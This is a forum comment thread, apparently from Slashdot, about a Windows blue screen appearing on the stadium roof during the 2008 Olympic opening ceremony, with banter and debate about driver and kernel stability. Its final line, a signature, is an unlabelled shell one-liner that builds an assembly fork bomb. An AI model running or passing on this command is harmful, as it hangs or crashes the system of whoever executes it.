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BSOD Makes Appearance at Olympic Opening Ceremonies
Whiteox writes "A BSOD was projected onto the roof of the National Stadium during the grand finale to the four-hour spectacular at the Olympics. Lenovo chairman Yang Yuanqing chose to go with XP instead of Vista because of the complexity of the IT functions at the Games. His comment on Vista? 'If it's not stable, it could have some problems,' he said. Evidently Bill Gates attended the opening ceremony, so he must have witnessed it."
They paid 40 billion for that ceremony. I can't see this improving their opinion of Microsoft much.
A learning experience is one of those things that say, 'You know that thing you just did? Don't do that.' - D. Adams
BSOD's are no longer a problem! They haven't been since Windows XP! BSOD's were only a problem in the Win 9x days! Windows today is wayyyy stable! My Windows box hasn't crashed ever!
*tongue firmly planted in cheek*
My blog
... but for TV audience around the Globe, image was different, they used CG to convert BSOD into neato Compiz Cube animations.
839*929
10 points to the first person to can say what went wrong :U
Knows everything about nothing and nothing about everything.
Visible computer glitches pop up in the most unexpected places these days. I went to a 25th anniversay screening of Wargames at a local theater recently. I wasn't even aware that I was in a digital theater until about halfway through the movie their server lost connection to the host and the movie theater screen suddenly turned into a giant Windows desktop. It was a little unnerving (I had thought I was looking at an actual film).
I think it's something we will just get used to seeing in this increasingly digital age. I just hope I'm not driving down the street one day and see a "lost connection to server" message flashing on a stoplight.
SJW: Someone who has run out of real oppression, and has to fake it.
All computers crash - I've made Linux, BSD, OSX, and Solaris machines kernel panic. Hell, I've witnessed a newer zSeries mainframe crash.
The fact that it happened at an inopportune moment is unfortunate, but that's life.
We're living in the Matrix! And the Matrix runs Windows!
No wonder my life is a pile of shit. :)
"The fight for freedom has only just begun." - Geert Wilders
Nelson (points finger at Bill Gates): haha
Seriously where's the haha tag?
Well, there's spam egg sausage and spam, that's not got much spam in it.
I wonder if this was faked like the fireworks?
I used to have a better sig but it broke.
Really, how big a deal is this? It's not uncommon to get a BSOD from time to time, and the number and power of the computing resources involved was probably pushing the limit. I'm not surprised and I don't think it's a big deal. The NBC people were practically falling all over themselves to find a flaw in the opening ceremonies, and if this is the biggest thing that surfaces, they went off flawlessly, imho. Who really cares about one little BSOD in such a huge spectacle, really?
.. pa-ra-bo-la, pa-ra-bo-la, 2 pi R, 2 pi R, where's your latus rectum, where's your latus rectum, 2 pi R
From china? Good luck! They've long since taken any digital recording device that was present and "corrected" the images it captured before returning it to its owner (if they were lucky).
You are using English. Please learn the difference between loose and lose; they're, there, and their; your and you're.
Please... no single human could code that much bloat.
Thank God for evolution.
He probably cackled maniacally and shouted over the top of the fireworks, "I made that screen blue! Bill Gates owns the Olympics! Maybe if you dirty pirates had bought a legitimate copy it would have worked better!"
You are using English. Please learn the difference between loose and lose; they're, there, and their; your and you're.
The BSOD is just the icing on the cake of this story. The real interesting bit is the fact that Vista lost out again to the superiority of XP,...
...It's not uncommon to get a BSOD from time to time.
And unless you do something about it, like vote with your wallet, you are simply helping Bill and his minions make bad engineering acceptable.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
They were Axon mediaservers running WinXP Embedded: http://www.windowsfordevices.com/news/NS4787005167.html
Some of the video projectors (70 of about 160 if I recall correctly) connected to those mediaservers were equipped with HES Orbital Head ( http://www.highend.com/products/digital_lighting/orbitalhead.asp ), which can explain the odd positioning of BSOD.
Olympic Ceremony - $40 Million
Tickets to Olympics - $??????
Windows Computer - $1000
Windows XP OS - $400
Being able to tap the president on the shoulder, then point up at the BSOD screen and say "I did that" - Fucking Priceless
Support NYCountryLawyer RIAA vs People
After a closer examination of the evidence it has come forth that the BSOD was actually CGI superimposed on the roof to make the U.S. audience viewing at home feel more familiar with Chinese technology. At selected venues around the world the BSOD was replaced with a kernel panic screen and even a Mac classic bomb.
Jeez. MS apologists always trot out that one. Making bad engineering acceptable will probably be Bill Gates' largest "contribution" to society.
In fairness to software engineering, if the "bad" hardware driver can crash the system, then the system is not ready for production and has more than a few show-stopping (no pun intended) bugs. Take a look at basic kernel or micro-kernel design principles and stop spreading the view that catastrophically bad design is acceptable.
Linux puts most drivers in the kernel and a bad driver there can cause a panic, bringing the system down.
Most of the BSDs, AFAIK, have some drivers in the kernel and others in userland processes.
I'm not sure how it's architected in Mac OS X, but I've certainly seen kernel panics on my Mac Mini.
There may be an embedded OS which is less susceptible to being killed by a poor driver, but for something like this you probably wouldn't bother with an embedded OS because there's so much more in the way of off-the-shelf software available to do the job for Windows and Linux.
Back when Windows NT was being developed, I heard that device drivers had to communicate with hardware through the hardware abstraction layer (HAL), and this made Windows NT very stable. Then I heard that they decided to allow hardware drivers to connect directly to hardware because sometimes going through HAL had a performance hit. I can't find much information on the history, but these lecture notes seem to confirm that drivers can now bypass HAL. Is this why bad drivers can still crash Windows?
Microsoft at least provides tools to verify that drivers work properly.
What a fool believes, he sees, no wise man has the power to reason away.
Um... Mac still has them, they're just grey screens of death with an apple logo and an even-less-informative error message (in half a dozen languages).
"The cup is in turn designed for holding hot or cold liquids, and has an open rim and closed base." --US Patent #5425497
In fairness to software engineering, if the "bad" hardware driver can crash the system, then the system is not ready for production and has more than a few show-stopping (no pun intended) bugs. Take a look at basic kernel or micro-kernel design principles and stop spreading the view that catastrophically bad design is acceptable.
I'm sorry, do you know of an operating system where talking to hardware cannot cause a panic? Even microkernels such as Mach are prone to these problems. ANY time you touch hardware there can be a problem if it's coded wrong. Even microkernels have to allow DMA for certain hardware, and bad DMA can bring down a whole system without even trying. There's a basic design flaw in how normal computers operate that requires this sort of behavior from kernels, which leads to bad drivers affecting them. If you can name one system ready for general purpose for which this isn't true I would love to hear about it.
If i had one dollar for every brain you dont have, i would have $1.
What's the motivation to write better hardware drivers if any time the system blue screens, people will just blame the OS anyway?
Looks like the BSOD happened with one of the systems running the projection system. I know that the systems running the projection are running XPe, not a normal version of windows. According to the manufactures comments, they had 120 media servers running all the projection. With an event of that scale, you're bound to have something crash eventually.
// TODO: Witty Signature
I believe most of the projections were handled by HighEnd Systems DL2s and DL3s. Essentially a projector on a moving yoke, with a few extra features. Each DL2 or DL3 has its own built-in media server running Win XP Embedded.
Even if the built-in media server fell over (which is what this looked like), there is still DMX control over the unit. Pan, tilt, focus and more importantly beam blanking and projector power are still controllable. It would have been easy to shut the faulty unit down and still carry on with the show (and yes, I do work with this kind of gear).
On this scale of event, they would have had multiple operators dedicated to watching over particular areas in case of such a fault. It looks like someone wasn't paying attention.
Jeez. MS apologists always trot out that one.
No, people who are reasonable and levelheaded always trot out that one.
"16MB (fuck off, MiB fascists)" - The Mighty Buzzard
As somebody who has written a bad device driver for Mac OSX I can confirm that a bad driver can and frequently has crashed my OS X kernel.
OS X is based on a microkernel, but in practice it is as monolithic as Linux or BSD.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
100% true. NT 3.5 and 3.51 had the video outside the kernel. NT 4.0 moved it to kernel level. This was a big to do at the time, with everyone claiming that NT 4 was going to become unstable that way. Ironically, XP probably wouldn't have been used for projecting graphic images on a ceiling if that change had not been made 2 generations back. Damned if you do, damned if you don't...
So, unlikely to have been seen on slashdot before then?
To have a right to do a thing is not at all the same as to be right in doing it
I pay Apple alot of money to ensure no BSODs.
No, you pay them a lot of money for "ooh shiney".
"16MB (fuck off, MiB fascists)" - The Mighty Buzzard
You were doing something wrong with your Windows box then. I have almost never (either with my own machines or at work) seen a BSOD that wasn't caused by faulty hardware. It happens, but it's something that happens maybe once every couple of years per computer.
"16MB (fuck off, MiB fascists)" - The Mighty Buzzard
The problem isn't the hardware, it's the drivers. I know at least some root kits will install themselves as a driver in order to get at the kernel's internals.
http://www.mhall119.com
you perform your very best.
lets face it, BSOD is the face of Windows.
you cannot have Windows at a major event without it participating, by doing what it does best. just like the athletes.
There's a basic design flaw in how normal computers operate that requires this sort of behavior from kernels, which leads to bad drivers affecting them. If you can name one system ready for general purpose for which this isn't true I would love to hear about it.
GNU Hurd
Just disrupt the deflector shield with a tachyon burst.
Not quite, doing development stuff I'd be downloading tools, libraries, and software packages to help out, and just about every time I'd get about 6 months after initial install of windows and it would go into BSOD cycle, eventually it'd be bad enough to reinstall windows and the cycle would start over again.
So yah, not normal usage... but I'm doing roughly the same thing with my MB Pro and I haven't run into the same problem.
DEMETRIUS: Villain, what hast thou done?
AARON: Villain, I have done thy mother.
Shakespeare invents 'your mom'
... the BSOD wouldn't still be being projected onto the roof!
While we're already off-topic, I've got to agree with the GP, my Windows box BSODs a few times a year (almost always hardware driver failures, particularly the video card). Running Linux on the same machine, I've yet to actually crash it, I've crashed X a few times, but never the OS.
Of course, if I count the times I've forced Windows to crash using the CrashOnCtrlScroll trick for fun...
I can count on the fingers of one hand the number of kernel panics I've seen on either my Linux box or my Mac Mini. My Windows machines however.....
I've actually had my Macbook Pro freeze more times in the last year than my Windows machine. In fact, it even hung once when I closed the lid and tried to fry itself with the backlight. That's funny about this is I've had the Macbook for about 4 months, whereas I've had the Windows machine all year.
I promise you this is a true story. Your mileage may vary, even if you're a Mac user.
"I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)
Definitely. I bought a D-Link USB WiFi adapter, downloaded their official Mac drivers, and the thing crashed my Mac every half hour.
and now, with Vista, display drivers are back to being in user-mode:
At a technical level, WDDM display drivers have two components, a kernel mode driver (KMD) that is very streamlined, and a user-mode driver that does most of the intense computations. With this model, most of the code is moved out of kernel mode. That is, the kernel mode piece is now solely responsible for lower-level functionality and the user mode piece takes on heavier functionality such as facilitating the translation from higher-level API constructs to direct GPU commands while maintaining application compatibility. This greatly reduces the chance of a fatal blue screen and most graphics driver-related problems result in at worst one application being affected.
"the number and power of the computing resources involved was probably pushing the limit"
You mean just to project a video onto the roof. I've got an old 500MB, PC that can play DVDs without problem. It runs on Yoper, you should try it, runs encrypted DVDs straight out of the box, no config issues.
davecb5620@gmail.com
They could've used Red Flag Linux for free. Was it not up to the task, period?
-- "I never gave these stories much credence." - HAL 9000
I'm sorry, do you know of an operating system where talking to hardware cannot cause a panic?
[...]
If you can name one system ready for general purpose for which this isn't true I would love to hear about it.
I haven't worked with QNX lately, but it has historically been a very tolerant OS in my experience. You are correct that at some point the OS MUST access hardware directly, and that faulty hardware will cause a software crash...but there are degrees of vulnerability here.
Microkernel OSes, especially those like QNX that are used in embedded and/or real-time applications, are extremely fault tolerant. Because hardware subsystems are each accessed by separate, self-contained low-level processes, a hardware fault in fact will NOT cause a systemic software failure as you assert. You DO in fact have to "try" to "bring down a whole system" through hardware faults in such architectures.
Nothing will stop systemic hardware faults from causing systemic software crashes, but the fact is that when it comes to Windows (and to a lesser but still significant degree, Linux and Mac OSX) hardware fault tolerance is absolutely wretched compared to what it COULD be. Microkernel architecture helps but isn't the magic bullet either--remember that MacOS X AND Windows are BOTH technically "microkernel architectures" and that doesn't keep them from falling over due to a hardware fault or bad driver.
There's a basic design flaw in how normal computers operate that requires this sort of behavior from kernels
Linux is very stable relative to Windows even though it is a monolithic kernel architecture because it is a better engineered platform overall, both in terms of security AND because drivers are much better written (owing to the fact that the bulk of drivers are community-written and/or open source instead of supported by an overworked small team of programmers employed by a hardware company that chronically under-invests in software development for its revenue-generating hardware products). In all but TWO cases (one case being a total hard drive failure where the system continued to run without HD access until a page swap was required, and another where several cheap Chinese capacitors dried out and popped in another system, which also would boot and run for hours to days nonetheless) my 11 years of extensively using Linux ALL kernel panics have been due to SOFTWARE bugs in drivers, and in most of those cases they were CLOSED drivers (I'm talking to you NVidia!).
Even with the problems I've had with closed drivers in Linux, the problems are very small in number and severity in comparison with Windows. NVidia drivers still are relatively unreliable however when there is a problem in Windows it can make the system BSOD. A similar bug in Linux is most likely to cause a fault in X but the rest of the subsystems are unharmed--in fact the latest NVidia drivers haven't caused me a single kernel panic yet. There is no "basic design flaw" in modern hardware systems that cannot be kept to a very small minimum without proper SOFTWARE design.
Wrong. WRONG.
Yes, Linux (as a specific example) uses drivers directly in kernel mode. HOWEVER, those drivers are PART of the OS, distributed and supported WITH the OS, and are Open Source, along with the rest of the kernel. Redhat supports the whole thing.
If drivers are to be supplied "in kernel" this is REQUIRED for reliability. Take Solaris as an example. Source is supplied, along with a DDI layer.
If drivers are supported ONLY via a "DDK" (driver development kit), there must be an isolation between that part of the kernel that CANNOT be understood by the driver developer, and the driver. This was the primary issue with "unreliable" display drivers in the Windows 3.x days -- functionality MUST be implemented, but the reference was not documented, or incorrect.
Indeed, a lot of vendors took extreme steps to deal with this issue -- permanent staff at Microsoft, or (illegally) reverse engineering the support code (GDI).
Unfortunately, the promoted Windows driver development path is "Believe in the DDK, and go" without reference source. Of course, this IS prone to failure -- finally recognized in Vista. (but obvious to vendors since Windows 3.x).
The solution here? Go to a micro-kernel OS. Or, plant parts of device drivers into standard protected mode (user space). Both of which cause performance issues. Or keep part of your software team in Redmond.
Also, given that the interface and driving layer (what I would call a "driver") is under Microsoft's control, the test suites must come from Microsoft as well. If a "crash path" is then NOT exercised, that is ALSO Microsoft's problem. There should be no way for a higher level application to utilize anything OTHER than a tested path to the driver. If it can, the testing is useless, and "Microsoft Certification" is useless.
An analogy at the application layer - SUN has the "application guarantee". That consisted of a series of tools that collected API usage (and could be run by the customer). If an application passed, and then a later upgrade of Solaris BREAKS the application, it is SUN's problem. (SUN fixes the OS or Application).
Just another "Cubible(sic) Joe" 2 17 3061
Bad drivers can crash any system using a monolithic kernel.
They can crash microkernel based systems severley too--microkernel systems like Microsoft Windows NT/2k/XP/Vista. The quality of the system architecture overall is far more important than the kernel architecture chosen.
Only low level problems can cause a Windows BSOD
Not true. Driver issues are the main reason, but user-level software can behave badly too. You cite anti-virus and firewall software, which aren't exactly "low level". Developer tools are usually the worst user-level offenders.
XP these days is stable (it only took 7 years but they made it) and you won't see a blue screen using signed drivers and hardware that isn't malfunctioning.
The thing is it can be difficult to find signed drivers for your system. If you want them for Vista you're SOL unless you have a very recent system (by and large, upgrading to Vista is a really dumb idea--everyone should stay with XP until they are willing to get a completely new machine), and if you have XP or 2K the opposite is true (the latest hardware ain't ever gonna have drivers, and its all closed software so no option to backport). I still run into a LOT of hardware with bad, unsigned drivers that is essential to some application yet behaves badly.
I'd guess the picture is in any case a fake.
Given the PRC's track record and the fact that they used "performance enhancing" technology on the official opening ceremonies broadcast I do not regard ANY media out of these olympics as trustworthy. To me, it is just as likely that the official Chinese broadcast digitally erased BSODs from the feed as it is that someone doctored a photo to ADD the BSOD and embarrass the Chinese olympic organisers.
Have you looked at the efforts of the Minix 3 operating system? It's a true microkernel where most drivers run outside of ring0 with limited access to hardware and/or the kernel.
Not just that, but it has stuff in place to severely limit the impact of a rogue driver and can restart dead or dying drivers, not to mention it embraces message passing with interrupts being passed to the driver as low-latency messages.
Other operating systems like QNX implement things in a similar way, although QNX also has guranteed near realtime scheduling and resource allocation allowing the whole system to be partitioned from the development stage.
I know I'll be modded down to -infinity on this, but seriously - my Mac G5 has kernel panicked more than my Windows XP box (keep in mind my G5 has done this maybe twice last year?)
...assuming the error is not completely unrecoverable:
Then Linux can restart X and chug happily along.
It still won't look pretty if you are using it as
a projector in front of a billion people but you also
won't have a door stop.
A Pirate and a Puritan look the same on a balance sheet.
Even still, this is an interesting situation. Assuming that virtually all BSODs and spontaneous resets on Windows are caused by faulty hardware drivers, apparently, these drivers, produced by professionals, even those certified by Microsoft, even those _shipped_ by Microsoft, seem to cause crashes a whole lot more often than those produced by a horde of hobbyists on the open-source side of the OS world.
Please correct me if I got my facts wrong.
More accurately, you pay Apple a great deal of money so you have exactly one person to blame if you get a crash. BSODs in Windows are (99% of the time anyway) a matter of bad third party drivers. Apple has an easier time of it because they only support a small range of hardware in predictable configurations; MS has to test enormous numbers of drivers for every conceivable x86/amd64/ia64 configuration. Linux splits the difference; in theory they support the greatest number of configurations, but in practice support for new hardware comes slowly, and with no guarantees.
$_ = "wftedskaebjgdpjgidbsmnjgcdwatb"; tr/a-z/oh, turtleneck Phrase Jar!/; print
...after all, if it had just done its job flawlessly there'd be no way for the crowd to know it was a microsoft product.
Let's just go ahead and admit that you crashed it, because when X goes down, 99% of programs will just halt immediately losing all of your saved work. I've never had X go down and then, like when Windows Vista's window manager goes down, have everything working just fine. Seriously, I encountered what must be a rare bug in Bioshock because I alt-tabbed into a maximized window, moved the mouse, and the display driver crashed. Windows brought it back online and informed me of that, and everything (including Bioshock) was running.
An equivalent error on a Linux box would at least take down the system, and lesser errors would usually kill X and thus make me lose all my work.
In Vista, the only driver crashes I've seen cause only a brief screen flicker.
Of course, also in Vista, no one can hear you scream.
"I zero-index my hamsters" - Willtor (147206)
But also they answer for the drivers, so a "bad driver" issue is actually a kernel issue.
I don't understand why "bad drivers" are not supposed to be the responsibility of MS. It's possible to design a system resilient to that kind of failure.
Well, this is very true.
However, you've got to look at the context. Firstly, Microsoft are more concerned about the system being stable on the sort of hardware bought by businesses - half-decent quality PCs and servers - and these tend to use relatively conservative hardware which has decent drivers.
Secondly, a bit of history - while the idea of true microkernels with practically every driver being a true userland process is not new, the performance penalty they introduce (which is less of an issue on modern hardware) was considered unacceptable when the NT kernel was first designed - and the kind of overhaul that would be necessary to change this is something Microsoft have historically shied away from.
I most certainly am, and can personally attest that there is a very large portion of FUD in the anti-Vista hype. I even game on Vista, with no problems. People are pretty full of shit about Vista, in general.
"16MB (fuck off, MiB fascists)" - The Mighty Buzzard
In all but TWO cases (one case being a total hard drive failure where the system continued to run without HD access until a page swap was required
I've got a story that I like to tell about a Linux webserver that had a hard drive failure after running long enough to have the entire web root cached into RAM. We hdparm -Yed it to sleep and unplugged the drive, then let the machine run diskless for a few months until we got around to replacing it.
This hosted some very well known and active open source projects at the time too.
I wouldn't be surprised if Microsoft didn't view this as a great piece of PR. They've been trying to convince everyone that XP is old and busted and Vista is the hot newness. They want people switching to Vista, not sticking with XP. Now an Olympic official has gone on the record as saying that Vista wasn't good enough/stable enough for the opening ceremonies so they were going to use XP instead. They use XP, and they get a BSOD. Now Microsoft can just nod and sagely say "XP was a great OS for it's time, but as everyone knows it still has some bugs in it. If only they'd used the new and improved Vista OS then they could have avoided that unfortunate bit of unpleasantness."
It doesn't matter if using Vista would have cost twice as much, taken three times as long to set up and resulted in four times as many errors during the opening ceremony. What people saw fail was XP, and that's what Microsoft will stress.
This Space Intentionally Left Blank
I've actually had my Macbook Pro freeze more times in the last year than my Windows machine. In fact, it even hung once when I closed the lid and tried to fry itself with the backlight.
You know you've got an unpleasant personality when computers try to kill themselves rather than work with you.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;